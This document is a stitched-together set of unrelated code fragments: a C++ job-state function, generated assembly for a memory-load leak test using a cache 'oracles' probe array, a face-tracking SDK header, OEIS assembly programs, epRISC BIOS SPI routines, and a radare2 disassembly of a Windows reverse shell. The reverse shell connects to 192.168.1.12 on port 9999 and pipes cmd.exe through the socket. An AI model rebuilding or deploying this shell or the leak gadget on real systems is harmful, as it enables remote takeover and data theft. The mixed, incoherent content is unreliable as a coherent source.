if(st.HasAttribute(EMIES_SATTR_PROCESSING_FAILURE_S)) return JobState::FAILED;
if(st.HasAttribute(EMIES_SATTR_POSTPROCESSING_FAILURE_S)) return JobState::FAILED;
if(st.HasAttribute(EMIES_SATTR_APP_FAILURE_S)) return JobState::FAILED;
if(st.HasAttribute(EMIES_SATTR_EXPIRED_S)) return JobState::DELETED;
return JobState::FINISHED;
}
/// \mapattr "":* -> UNDEFINED
else if(st.state == "") {
return JobState::UNDEFINED;
}
/// \mapattr Any other state -> OTHER
return JobState::OTHER;
}
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r9
push %rbp
push %rsi
lea addresses_A_ht+0x1d420, %rbp
nop
add %rsi, %rsi
mov $0x6162636465666768, %r9
movq %r9, %xmm5
vmovups %ymm5, (%rbp)
add %r9, %r9
pop %rsi
pop %rbp
pop %r9
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r15
push %rax
push %rcx
push %rdx
// Faulty Load
lea addresses_D+0x11370, %rdx
nop
nop
nop
nop
xor $43422, %r11
mov (%rdx), %rcx
lea oracles, %rax
and $0xff, %rcx
shlq $12, %rcx
mov (%rax,%rcx,1), %rcx
pop %rdx
pop %rcx
pop %rax
pop %r15
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
/**
@file Context.hpp
@author David Hirvonen
@brief Public API for continuous face filter.
\copyright Copyright 2014-2018 Elucideye, Inc. All rights reserved.
\license{This project is released under the 3 Clause BSD License.}
This file contains the public API of the Context class. This class
will store and allocate internal state necessary for real time
face tracking.
*/
#ifndef __drishti_drishti_Context_hpp__
#define __drishti_drishti_Context_hpp__
#include <drishti/drishti_sdk.hpp>
#include <drishti/drishti_gl.hpp>
#include <drishti/Image.hpp>
#include <drishti/Sensor.hpp>
#include <memory>
_DRISHTI_SDK_BEGIN
class DRISHTI_EXPORT Context
{
public:
struct Impl;
explicit Context(drishti::sdk::SensorModel& sensor);
~Context();
Context(const Context&) = delete;
Context(Context&&) = delete;
Context& operator=(const Context&) = delete;
Context& operator=(Context&&) = delete;
Impl* get() { return impl.get(); }
void updateGL();
void setDoSingleFace(bool flag);
bool getDoSingleFace() const;
void setMinDetectionDistance(float value);
float getMinDetectionDistance() const;
void setMaxDetectionDistance(float value);
float getMaxDetectionDistance() const;
void setFaceFinderInterval(float value);
float getFaceFinderInterval() const;
void setAcfCalibration(float value);
float getAcfCalibration() const;
void setRegressorCropScale(float value);
float getRegressorCropScale() const;
void setMinTrackHits(int hits);
int getMinTrackHits() const;
void setMaxTrackMisses(int hits);
int getMaxTrackMisses() const;
void setMinFaceSeparation(float value);
float getMinFaceSeparation() const;
void setDoOptimizedPipeline(bool flag);
bool getDoOptimizedPipeline() const;
void setDoCpuACF(bool flag);
bool getDoCpuACF() const;
void setDoAnnotation(bool flag);
bool getDoAnnotation() const;
void setGLContext(void *context);
void* getGLContext() const;
protected:
std::unique_ptr<Impl> impl;
};
_DRISHTI_SDK_END
#endif // __drishti_drishti_Context_hpp__
|
; A095860: Triangle read by rows: T(n,k) = n^(k^2), n>=1, 1<=k<=n.
; 1,2,16,3,81,19683,4,256,262144,4294967296,5,625,1953125,152587890625,298023223876953125,6,1296,10077696,2821109907456,28430288029929701376,10314424798490535546171949056,7,2401,40353607,33232930569601
mov $2,1
lpb $0
mov $1,$0
pow $1,2
add $2,1
trn $0,$2
lpe
pow $2,$1
mov $0,$2
|
; A065223: Fill a triangular array by rows by writing numbers 1 up to b(0), 1 up to b(1), etc., where b(n) are the heptagonal numbers (A000566). The final elements of the rows form a(n).
; Submitted by Jon Maiga
; 1,2,5,2,7,13,2,10,19,29,6,18,31,45,5,21,38,56,75,14,35,57,80,104,17,43,70,98,127,9,40,72,105,139,174,21,58,96,135,175,216,23,66,110,155,201,248,10,59,109,160,212,265,319,32,88,145,203,262,322,383,42,105
mov $2,1
lpb $0
mov $2,$0
mov $0,0
add $2,1
seq $2,65231 ; Fill a triangular array by rows by writing numbers 1 up to b(0), 1 up to b(1), etc., where b(n) are the heptagonal numbers (A000566). The first elements of the rows form a(n).
sub $2,1
lpe
mov $0,$2
|
; epRISC development platform - BIOS SPI master control routines
;
; written by John C. Lemme, jclemme (at) proportionallabs (dot) com
; this file is part of the epRISC project, released under the epRISC license - see "license.txt" for details.
;
; These routines command the onboard I/O controller's SPI bus master. Will be optimized later.
!def SPI_CONF_ADDRESS #h020
!def SPI_MOSI_ADDRESS #h021
!def SPI_MISO_ADDRESS #h022
!zone spi_addr
!def REG_ADDR %Zw
!def REG_WORK %Zx
!def REG_RESP %Zz
:spi_addr push.r s:REG_ADDR
push.r s:REG_WORK
subr.v d:%SP a:%SP v:#h03 ; Set up the stack
pops.r d:REG_ADDR ; Get the number we're supposed to print
addr.v d:%SP a:%SP v:#h04 ; Set up the stack
move.v d:REG_WORK v:SPI_CONF_ADDRESS
push.r s:REG_WORK
call.s a:ioc_recv
pops.r d:REG_WORK ; Get current configuration register
mski.v d:REG_RESP a:REG_RESP v:#h78
arsl.v d:REG_ADDR a:REG_ADDR v:#h03
orbt.r d:REG_ADDR a:REG_ADDR b:REG_RESP ; Calculate mask
push.r s:REG_WORK
push.r s:REG_ADDR
call.s a:ioc_send
pops.r d:REG_ADDR
pops.r d:REG_WORK ; Set new mask
pops.r d:REG_WORK
pops.r d:REG_ADDR
rtrn.s ; And return
!zone spi_send
!def REG_DATA %Zw
!def REG_WORK %Zx
!def REG_RESP %Zz
:spi_send push.r s:REG_DATA
push.r s:REG_WORK
subr.v d:%SP a:%SP v:#h03 ; Set up the stack
pops.r d:REG_DATA ; Get the number we're supposed to print
addr.v d:%SP a:%SP v:#h04 ; Set up the stack
move.v d:REG_WORK v:SPI_MOSI_ADDRESS
push.r s:REG_WORK
push.r s:REG_DATA
call.s a:ioc_send
pops.r d:REG_DATA
pops.r d:REG_WORK ; Write data to send
move.v d:REG_WORK v:SPI_CONF_ADDRESS
push.r s:REG_WORK
call.s a:ioc_recv
pops.r d:REG_WORK ; Get current configuration register
; move.v d:REG_RESP v:#h00
orbt.v d:REG_RESP a:REG_RESP v:#h80 ; Calculate mask
push.r s:REG_WORK
push.r s:REG_RESP
call.s a:ioc_send
pops.r d:REG_RESP
pops.r d:REG_WORK ; Set new mask
move.v d:REG_WORK v:SPI_CONF_ADDRESS
push.r s:REG_WORK
:.chkloop call.s a:ioc_recv
test.v a:REG_RESP v:#h80
brch.a c:%NEQ a:.chkloop
pops.r d:REG_WORK
move.v d:REG_WORK v:SPI_MISO_ADDRESS
push.r s:REG_WORK
call.s a:ioc_recv
pops.r d:REG_WORK ; Get captured data
pops.r d:REG_WORK
pops.r d:REG_DATA
rtrn.s ; And return
!zone spi_recv
!def REG_WORK %Zx
!def REG_RESP %Zz
:spi_recv push.r s:REG_WORK ; Set up the stack
move.v d:REG_WORK v:SPI_MOSI_ADDRESS
push.r s:REG_WORK
move.v d:REG_WORK v:#hFF
push.r s:REG_WORK
call.s a:ioc_send
pops.r d:REG_WORK
pops.r d:REG_WORK ; Write data to send
move.v d:REG_WORK v:SPI_CONF_ADDRESS
push.r s:REG_WORK
call.s a:ioc_recv
pops.r d:REG_WORK ; Get current configuration register
orbt.v d:REG_RESP a:REG_RESP v:#h80 ; Calculate mask
push.r s:REG_WORK
push.r s:REG_RESP
call.s a:ioc_send
pops.r d:REG_RESP
pops.r d:REG_WORK ; Set new mask
move.v d:REG_WORK v:SPI_CONF_ADDRESS
push.r s:REG_WORK
:.chkloop call.s a:ioc_recv
test.v a:REG_RESP v:#h80
brch.a c:%NEQ a:.chkloop
pops.r d:REG_WORK
move.v d:REG_WORK v:SPI_MISO_ADDRESS
push.r s:REG_WORK
call.s a:ioc_recv
pops.r d:REG_WORK ; Get captured data
pops.r d:REG_WORK
rtrn.s ; And return
|
┌ (fcn) sym._sc 1225
│ sym._sc ();
│ ; var int local_a4ch @ ebp-0xa4c
│ ; var int local_a48h @ ebp-0xa48
│ ; var int local_a46h @ ebp-0xa46
│ ; var int local_a44h @ ebp-0xa44
│ ; var int local_a40h @ ebp-0xa40
│ ; var int local_a3ch @ ebp-0xa3c
│ ; var int local_a38h @ ebp-0xa38
│ ; var int local_a34h @ ebp-0xa34
│ ; var int local_a30h @ ebp-0xa30
│ ; var int local_a2ch @ ebp-0xa2c
│ ; var int local_a28h @ ebp-0xa28
│ ; var int local_a24h @ ebp-0xa24
│ ; var int local_a20h @ ebp-0xa20
│ ; var int local_a1ch @ ebp-0xa1c
│ ; var int local_a18h @ ebp-0xa18
│ ; var int local_a14h @ ebp-0xa14
│ ; var int local_a10h @ ebp-0xa10
│ ; var int local_a0ch @ ebp-0xa0c
│ ; var int local_a08h @ ebp-0xa08
│ ; var int local_608h @ ebp-0x608
│ ; var int local_208h @ ebp-0x208
│ ; var int local_1f8h @ ebp-0x1f8
│ ; var int local_1cch @ ebp-0x1cc
│ ; var int local_1c0h @ ebp-0x1c0
│ ; var int local_1bch @ ebp-0x1bc
│ ; var int local_1b8h @ ebp-0x1b8
│ ; var int local_1b4h @ ebp-0x1b4
│ ; var int local_1b2h @ ebp-0x1b2
│ ; var int local_1b0h @ ebp-0x1b0
│ ; var int local_1a4h @ ebp-0x1a4
│ ; var int local_14h @ ebp-0x14
│ ; var int local_10h @ ebp-0x10
│ ; var int local_ch @ ebp-0xc
│ ; var size_t local_4h @ esp+0x4
│ ; var int local_8h @ esp+0x8
│ ; var int local_ch_2 @ esp+0xc
│ ; var int local_10h_2 @ esp+0x10
│ ; var int local_14h_2 @ esp+0x14
│ ; var int local_18h @ esp+0x18
│ ; var int local_1ch @ esp+0x1c
│ ; var int local_20h @ esp+0x20
│ ; var int local_24h @ esp+0x24
│ ; CALL XREF from 0x00401a44 (sym._main)
│ 0x00401570 55 push ebp
│ 0x00401571 89e5 mov ebp, esp
│ 0x00401573 81ec880a0000 sub esp, 0xa88
│ 0x00401579 c745f4000000. mov dword [local_ch], 0
│ 0x00401580 c74424084400. mov dword [local_8h], 0x44 ; 'D' ; [0x44:4]=0xcd09b400 ; 'D'
│ 0x00401588 c74424040000. mov dword [local_4h], 0 ; size_t n
│ 0x00401590 8d8508feffff lea eax, [local_1f8h]
│ 0x00401596 890424 mov dword [esp], eax ; int c
│ 0x00401599 e8e6150000 call sym._memset ; void *memset(void *s, int c, size_t n)
│ 0x0040159e c74424081000. mov dword [local_8h], 0x10 ; [0x10:4]=184
│ 0x004015a6 c74424040000. mov dword [local_4h], 0 ; size_t n
│ 0x004015ae 8d85f8fdffff lea eax, [local_208h]
│ 0x004015b4 890424 mov dword [esp], eax ; int c
│ 0x004015b7 e8c8150000 call sym._memset ; void *memset(void *s, int c, size_t n)
│ 0x004015bc c785e0f5ffff. mov dword [local_a20h], 0xc
│ 0x004015c6 c785e8f5ffff. mov dword [local_a18h], 1
│ 0x004015d0 c785e4f5ffff. mov dword [local_a1ch], 0
│ 0x004015da c744240c0004. mov dword [local_ch_2], 0x400 ; [0x400:4]=0xb48dc3f3
│ 0x004015e2 8d85e0f5ffff lea eax, [local_a20h]
│ 0x004015e8 89442408 mov dword [local_8h], eax
│ 0x004015ec 8d85d4f5ffff lea eax, [local_a2ch]
│ 0x004015f2 89442404 mov dword [local_4h], eax
│ 0x004015f6 8d85dcf5ffff lea eax, [local_a24h]
│ 0x004015fc 890424 mov dword [esp], eax
│ 0x004015ff a15c614000 mov eax, dword sym.imp.KERNEL32.dll_CreatePipe ; [0x40615c:4]=0x6268 reloc.KERNEL32.dll_CreatePipe_104 ; "hb"
│ 0x00401604 ffd0 call eax
│ 0x00401606 83ec10 sub esp, 0x10
│ 0x00401609 85c0 test eax, eax
│ ┌─< 0x0040160b 0f8416040000 je 0x401a27
│ │ 0x00401611 c74424080000. mov dword [local_8h], 0
│ │ 0x00401619 c74424040100. mov dword [local_4h], 1
│ │ 0x00401621 8d85d4f5ffff lea eax, [local_a2ch]
│ │ 0x00401627 890424 mov dword [esp], eax
│ │ 0x0040162a a1a8614000 mov eax, dword sym.imp.KERNEL32.dll_SetHandleInformation ; [0x4061a8:4]=0x63e6 reloc.KERNEL32.dll_SetHandleInformation_230
│ │ 0x0040162f ffd0 call eax
│ │ 0x00401631 83ec0c sub esp, 0xc
│ │ 0x00401634 c744240c0004. mov dword [local_ch_2], 0x400 ; [0x400:4]=0xb48dc3f3
│ │ 0x0040163c 8d85e0f5ffff lea eax, [local_a20h]
│ │ 0x00401642 89442408 mov dword [local_8h], eax
│ │ 0x00401646 8d85d8f5ffff lea eax, [local_a28h]
│ │ 0x0040164c 89442404 mov dword [local_4h], eax
│ │ 0x00401650 8d85d0f5ffff lea eax, [local_a30h]
│ │ 0x00401656 890424 mov dword [esp], eax
│ │ 0x00401659 a15c614000 mov eax, dword sym.imp.KERNEL32.dll_CreatePipe ; [0x40615c:4]=0x6268 reloc.KERNEL32.dll_CreatePipe_104 ; "hb"
│ │ 0x0040165e ffd0 call eax
│ │ 0x00401660 83ec10 sub esp, 0x10
│ │ 0x00401663 85c0 test eax, eax
│ ┌──< 0x00401665 0f84bf030000 je 0x401a2a
│ ││ 0x0040166b c74424080000. mov dword [local_8h], 0
│ ││ 0x00401673 c74424040100. mov dword [local_4h], 1
│ ││ 0x0040167b 8d85d0f5ffff lea eax, [local_a30h]
│ ││ 0x00401681 890424 mov dword [esp], eax
│ ││ 0x00401684 a1a8614000 mov eax, dword sym.imp.KERNEL32.dll_SetHandleInformation ; [0x4061a8:4]=0x63e6 reloc.KERNEL32.dll_SetHandleInformation_230
│ ││ 0x00401689 ffd0 call eax
│ ││ 0x0040168b 83ec0c sub esp, 0xc
│ ││ 0x0040168e c785bcf5ffff. mov dword [local_a44h], 0
│ ││ 0x00401698 c785c0f5ffff. mov dword [local_a40h], 0
│ ││ 0x004016a2 c785c8f5ffff. mov dword [local_a38h], 0
│ ││ 0x004016ac c785c4f5ffff. mov dword [local_a3ch], 0xa
│ ││ 0x004016b6 c785ccf5ffff. mov dword [local_a34h], 0x64 ; 'd'
│ ││ 0x004016c0 8b85d0f5ffff mov eax, dword [local_a30h]
│ ││ 0x004016c6 8d95bcf5ffff lea edx, [local_a44h]
│ ││ 0x004016cc 89542404 mov dword [local_4h], edx
│ ││ 0x004016d0 890424 mov dword [esp], eax
│ ││ 0x004016d3 a1a4614000 mov eax, dword sym.imp.KERNEL32.dll_SetCommTimeouts ; [0x4061a4:4]=0x63d4 reloc.KERNEL32.dll_SetCommTimeouts_212
│ ││ 0x004016d8 ffd0 call eax
│ ││ 0x004016da 83ec08 sub esp, 8
│ ││ 0x004016dd 8b85d8f5ffff mov eax, dword [local_a28h]
│ ││ 0x004016e3 8d95bcf5ffff lea edx, [local_a44h]
│ ││ 0x004016e9 89542404 mov dword [local_4h], edx
│ ││ 0x004016ed 890424 mov dword [esp], eax
│ ││ 0x004016f0 a1a4614000 mov eax, dword sym.imp.KERNEL32.dll_SetCommTimeouts ; [0x4061a4:4]=0x63d4 reloc.KERNEL32.dll_SetCommTimeouts_212
│ ││ 0x004016f5 ffd0 call eax
│ ││ 0x004016f7 83ec08 sub esp, 8
│ ││ 0x004016fa 8b85dcf5ffff mov eax, dword [local_a24h]
│ ││ 0x00401700 8d95bcf5ffff lea edx, [local_a44h]
│ ││ 0x00401706 89542404 mov dword [local_4h], edx
│ ││ 0x0040170a 890424 mov dword [esp], eax
│ ││ 0x0040170d a1a4614000 mov eax, dword sym.imp.KERNEL32.dll_SetCommTimeouts ; [0x4061a4:4]=0x63d4 reloc.KERNEL32.dll_SetCommTimeouts_212
│ ││ 0x00401712 ffd0 call eax
│ ││ 0x00401714 83ec08 sub esp, 8
│ ││ 0x00401717 8b85d4f5ffff mov eax, dword [local_a2ch]
│ ││ 0x0040171d 8d95bcf5ffff lea edx, [local_a44h]
│ ││ 0x00401723 89542404 mov dword [local_4h], edx
│ ││ 0x00401727 890424 mov dword [esp], eax
│ ││ 0x0040172a a1a4614000 mov eax, dword sym.imp.KERNEL32.dll_SetCommTimeouts ; [0x4061a4:4]=0x63d4 reloc.KERNEL32.dll_SetCommTimeouts_212
│ ││ 0x0040172f ffd0 call eax
│ ││ 0x00401731 83ec08 sub esp, 8
│ ││ 0x00401734 66c7854cfeff. mov word [local_1b4h], 2
│ ││ 0x0040173d c704240f2700. mov dword [esp], 0x270f ; [0x270f:4]=0x3531
│ ││ 0x00401744 a150624000 mov eax, dword sym.imp.WS2_32.dll_htons ; [0x406250:4]=0x65ec reloc.WS2_32.dll_htons_236
│ ││ 0x00401749 ffd0 call eax
│ ││ 0x0040174b 83ec04 sub esp, 4
│ ││ 0x0040174e 6689854efeff. mov word [local_1b2h], ax
│ ││ 0x00401755 c70424244040. mov dword [esp], str.192.168.1.12 ; [0x404024:4]=0x2e323931 ; "192.168.1.12"
│ ││ 0x0040175c a154624000 mov eax, dword sym.imp.WS2_32.dll_inet_addr ; [0x406254:4]=0x65f4 reloc.WS2_32.dll_inet_addr_244
│ ││ 0x00401761 ffd0 call eax
│ ││ 0x00401763 83ec04 sub esp, 4
│ ││ 0x00401766 898550feffff mov dword [local_1b0h], eax
│ ││ 0x0040176c 8d855cfeffff lea eax, [local_1a4h]
│ ││ 0x00401772 89442404 mov dword [local_4h], eax
│ ││ 0x00401776 c70424020200. mov dword [esp], 0x202 ; [0x202:4]=0
│ ││ 0x0040177d a148624000 mov eax, dword sym.imp.WS2_32.dll_WSAStartup ; [0x406248:4]=0x65d4 reloc.WS2_32.dll_WSAStartup_212
│ ││ 0x00401782 ffd0 call eax
│ ││ 0x00401784 83ec08 sub esp, 8
│ ││ 0x00401787 c74424080600. mov dword [local_8h], 6
│ ││ 0x0040178f c74424040100. mov dword [local_4h], 1
│ ││ 0x00401797 c70424020000. mov dword [esp], 2
│ ││ 0x0040179e a160624000 mov eax, dword sym.imp.WS2_32.dll_socket ; [0x406260:4]=0x6610 reloc.WS2_32.dll_socket_16
│ ││ 0x004017a3 ffd0 call eax
│ ││ 0x004017a5 83ec0c sub esp, 0xc
│ ││ 0x004017a8 8945f0 mov dword [local_10h], eax
│ ││ 0x004017ab c74424081000. mov dword [local_8h], 0x10 ; [0x10:4]=184
│ ││ 0x004017b3 8d854cfeffff lea eax, [local_1b4h]
│ ││ 0x004017b9 89442404 mov dword [local_4h], eax
│ ││ 0x004017bd 8b45f0 mov eax, dword [local_10h]
│ ││ 0x004017c0 890424 mov dword [esp], eax
│ ││ 0x004017c3 a14c624000 mov eax, dword sym.imp.WS2_32.dll_connect ; [0x40624c:4]=0x65e2 reloc.WS2_32.dll_connect_226
│ ││ 0x004017c8 ffd0 call eax
│ ││ 0x004017ca 83ec0c sub esp, 0xc
│ ││ 0x004017cd 8945ec mov dword [local_14h], eax
│ ││ 0x004017d0 837dec00 cmp dword [local_14h], 0
│ ┌───< 0x004017d4 0f8553020000 jne 0x401a2d
│ │││ 0x004017da 8b45f0 mov eax, dword [local_10h]
│ │││ 0x004017dd 8985b4f5ffff mov dword [local_a4ch], eax
│ │││ 0x004017e3 66c785b8f5ff. mov word [local_a48h], 0x100
│ │││ 0x004017ec 66c785baf5ff. mov word [local_a46h], 0
│ │││ 0x004017f5 c78508feffff. mov dword [local_1f8h], 0x44 ; 'D'
│ │││ 0x004017ff 8b85dcf5ffff mov eax, dword [local_a24h]
│ │││ 0x00401805 898540feffff mov dword [local_1c0h], eax
│ │││ 0x0040180b 8b85d8f5ffff mov eax, dword [local_a28h]
│ │││ 0x00401811 898544feffff mov dword [local_1bch], eax
│ │││ 0x00401817 8b85d8f5ffff mov eax, dword [local_a28h]
│ │││ 0x0040181d 898548feffff mov dword [local_1b8h], eax
│ │││ 0x00401823 8b8534feffff mov eax, dword [local_1cch]
│ │││ 0x00401829 80cc01 or ah, 1
│ │││ 0x0040182c 898534feffff mov dword [local_1cch], eax
│ │││ 0x00401832 8d85f8fdffff lea eax, [local_208h]
│ │││ 0x00401838 89442424 mov dword [local_24h], eax
│ │││ 0x0040183c 8d8508feffff lea eax, [local_1f8h]
│ │││ 0x00401842 89442420 mov dword [local_20h], eax
│ │││ 0x00401846 c744241c0000. mov dword [local_1ch], 0
│ │││ 0x0040184e c74424180000. mov dword [local_18h], 0
│ │││ 0x00401856 c74424140000. mov dword [local_14h_2], 0
│ │││ 0x0040185e c74424100100. mov dword [local_10h_2], 1
│ │││ 0x00401866 c744240c0000. mov dword [local_ch_2], 0
│ │││ 0x0040186e c74424080000. mov dword [local_8h], 0
│ │││ 0x00401876 c74424040000. mov dword [local_4h], 0
│ │││ 0x0040187e c70424314040. mov dword [esp], str.C:_windows_system32_cmd.exe ; [0x404031:4]=0x775c3a43 ; "C:\\windows\\system32\\cmd.exe"
│ │││ 0x00401885 a160614000 mov eax, dword sym.imp.KERNEL32.dll_CreateProcessA ; [0x406160:4]=0x6276 reloc.KERNEL32.dll_CreateProcessA_118 ; "vb"
│ │││ 0x0040188a ffd0 call eax
│ │││ 0x0040188c 83ec28 sub esp, 0x28 ; '('
│ │││ 0x0040188f 8945ec mov dword [local_14h], eax
│ │││ 0x00401892 837dec00 cmp dword [local_14h], 0
│ ┌────< 0x00401896 0f8494010000 je 0x401a30
│ ││││ ; JMP XREF from 0x00401a22 (sym._sc)
│ ││││ ; JMP XREF from 0x004019d5 (sym._sc)
│ ┌┌┌─────> 0x0040189c 8b85d0f5ffff mov eax, dword [local_a30h]
│ ↑↑↑││││ 0x004018a2 c74424140000. mov dword [local_14h_2], 0
│ ↑↑↑││││ 0x004018aa 8d95ecf5ffff lea edx, [local_a14h]
│ ↑↑↑││││ 0x004018b0 89542410 mov dword [local_10h_2], edx
│ ↑↑↑││││ 0x004018b4 8d95f4f5ffff lea edx, [local_a0ch]
│ ↑↑↑││││ 0x004018ba 8954240c mov dword [local_ch_2], edx
│ ↑↑↑││││ 0x004018be c74424080004. mov dword [local_8h], 0x400 ; [0x400:4]=0xb48dc3f3
│ ↑↑↑││││ 0x004018c6 8d95f8f5ffff lea edx, [local_a08h]
│ ↑↑↑││││ 0x004018cc 89542404 mov dword [local_4h], edx
│ ↑↑↑││││ 0x004018d0 890424 mov dword [esp], eax
│ ↑↑↑││││ 0x004018d3 a198614000 mov eax, dword sym.imp.KERNEL32.dll_PeekNamedPipe ; [0x406198:4]=0x639e reloc.KERNEL32.dll_PeekNamedPipe_158
│ ↑↑↑││││ 0x004018d8 ffd0 call eax
│ ↑↑↑││││ 0x004018da 83ec18 sub esp, 0x18
│ ↑↑↑││││ 0x004018dd 8b85ecf5ffff mov eax, dword [local_a14h]
│ ↑↑↑││││ 0x004018e3 85c0 test eax, eax
│ ────────< 0x004018e5 7472 je 0x401959
│ ↑↑↑││││ 0x004018e7 8b85d0f5ffff mov eax, dword [local_a30h]
│ ↑↑↑││││ 0x004018ed c74424100000. mov dword [local_10h_2], 0
│ ↑↑↑││││ 0x004018f5 8d95f4f5ffff lea edx, [local_a0ch]
│ ↑↑↑││││ 0x004018fb 8954240c mov dword [local_ch_2], edx
│ ↑↑↑││││ 0x004018ff c74424080004. mov dword [local_8h], 0x400 ; [0x400:4]=0xb48dc3f3
│ ↑↑↑││││ 0x00401907 8d95f8f5ffff lea edx, [local_a08h]
│ ↑↑↑││││ 0x0040190d 89542404 mov dword [local_4h], edx
│ ↑↑↑││││ 0x00401911 890424 mov dword [esp], eax
│ ↑↑↑││││ 0x00401914 a1a0614000 mov eax, dword sym.imp.KERNEL32.dll_ReadFile ; [0x4061a0:4]=0x63c8 reloc.KERNEL32.dll_ReadFile_200
│ ↑↑↑││││ 0x00401919 ffd0 call eax
│ ↑↑↑││││ 0x0040191b 83ec14 sub esp, 0x14
│ ↑↑↑││││ 0x0040191e 8945ec mov dword [local_14h], eax
│ ↑↑↑││││ 0x00401921 837dec00 cmp dword [local_14h], 0
│ ────────< 0x00401925 7432 je 0x401959
│ ↑↑↑││││ 0x00401927 8b85f4f5ffff mov eax, dword [local_a0ch]
│ ↑↑↑││││ 0x0040192d c744240c0000. mov dword [local_ch_2], 0
│ ↑↑↑││││ 0x00401935 89442408 mov dword [local_8h], eax
│ ↑↑↑││││ 0x00401939 8d85f8f5ffff lea eax, [local_a08h]
│ ↑↑↑││││ 0x0040193f 89442404 mov dword [local_4h], eax
│ ↑↑↑││││ 0x00401943 8b45f0 mov eax, dword [local_10h]
│ ↑↑↑││││ 0x00401946 890424 mov dword [esp], eax
│ ↑↑↑││││ 0x00401949 a15c624000 mov eax, dword sym.imp.WS2_32.dll_send ; [0x40625c:4]=0x6608 reloc.WS2_32.dll_send_8
│ ↑↑↑││││ 0x0040194e ffd0 call eax
│ ↑↑↑││││ 0x00401950 83ec10 sub esp, 0x10
│ ↑↑↑││││ 0x00401953 8985f0f5ffff mov dword [local_a10h], eax
│ ────────> 0x00401959 c74424080a00. mov dword [local_8h], 0xa
│ ↑↑↑││││ 0x00401961 c74424040100. mov dword [local_4h], 1
│ ↑↑↑││││ 0x00401969 8d85b4f5ffff lea eax, [local_a4ch]
│ ↑↑↑││││ 0x0040196f 890424 mov dword [esp], eax
│ ↑↑↑││││ 0x00401972 e8d9000000 call sym._WSAPoll_12
│ ↑↑↑││││ 0x00401977 83ec0c sub esp, 0xc
│ ↑↑↑││││ 0x0040197a 8945ec mov dword [local_14h], eax
│ ↑↑↑││││ 0x0040197d 837decff cmp dword [local_14h], 0xffffffffffffffff
